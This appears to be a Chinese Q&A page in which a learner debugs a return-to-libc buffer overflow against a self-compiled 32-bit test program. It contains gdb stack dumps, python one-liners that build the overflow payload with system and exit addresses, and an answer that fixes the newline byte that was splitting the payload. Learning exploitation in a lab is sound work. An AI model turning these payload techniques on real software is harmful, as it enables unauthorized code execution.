【问题标题】:certain parts of injected string are missing on stack frame堆栈帧上缺少注入字符串的某些部分
【发布时间】:2023-03-03 16:53:02
【问题描述】:

我正在尝试对简单程序进行 return-to-libc 漏洞利用。我已经设法找到 存储输入字符串的堆栈地址,以及 libc 函数的位置,并基于它构建我的有效负载。

[填充(252字节)] + [系统(4字节)] + [退出(4字节)] + [参数(4字节)]

我用 gdb 打开了易受攻击的程序并注入了有效负载。当我检查堆栈帧时,我可以看到 252 字节填充加载到正确的位置,但有效负载的最后 12 字节部分似乎丢失了,或者以某种方式替换为一些哑弹。

所以出于好奇,我稍微更改了有效载荷,尤其是填充部分。

[填充(96)]+[系统(4)]+[填充(152)]+[系统(4)]+[退出(4)]+[参数(4)]

然后堆栈只保存前 96 字节部分,其余部分不存在。

我在 64 位 kali-linux 上使用 python 注入了有效负载。易受攻击的程序使用gcc-m32 -fno-stack-protector 选项编译。

(gdb) run $(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')

(gdb) x/256xw $ebp-0xfc 0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd070: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd080: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd090: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd100: 0x41414141 0x41414141 0x41414141 0x00000060 0xffffd110: 0xffffd130 0x080dc000 0x00000000 0x0804a25b 0xffffd120: 0x080dc000 0x080dc000 0x080dc000 0x0804a25b 0xffffd130: 0x00000003 0xffffd1e4 0xffffd1f4 0xffffd184 0xffffd140: 0x00000000 0x00000000 0x00000000 0x080dc000 ...

(gdb) run $(python -c 'print "\x41"*96 +"\x60\x0a\x05\x08"+ "\x41"*152 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')

(gdb) x/256wx $ebp-0xfc 0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd070: 0x00000060 0x00000000 0x0000bfc0 0xa9173800 0xffffd080: 0x080b12ef 0x00002933 0x00000000 0x080dc000 0xffffd090: 0x00000001 0x080dc000 0x080dd900 0x080495fa 0xffffd0a0: 0x00000004 0x080ddf74 0x0804fa99 0x00008000 0xffffd0b0: 0x080b0fa5 0x00040000 0x00000000 0x080abc6a ...

地址\x60\x0a\x05\x08 似乎以某种方式替换为\x60\x00\x00\x00。有什么我想念的吗?还是和编译器有关?

【问题讨论】:

    标签: c gcc gdb buffer-overflow


    【解决方案1】:

    您似乎正在尝试运行将有效负载作为参数传递的程序,但它包含字符 \x0a,这会导致有效负载被拆分为两个单独的参数。

    在命令周围添加双引号应该允许您将其作为单个参数传递:

    (gdb) run "$(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')"
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2021-05-02
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-04-30
      • 1970-01-01
      相关资源
      最近更新 更多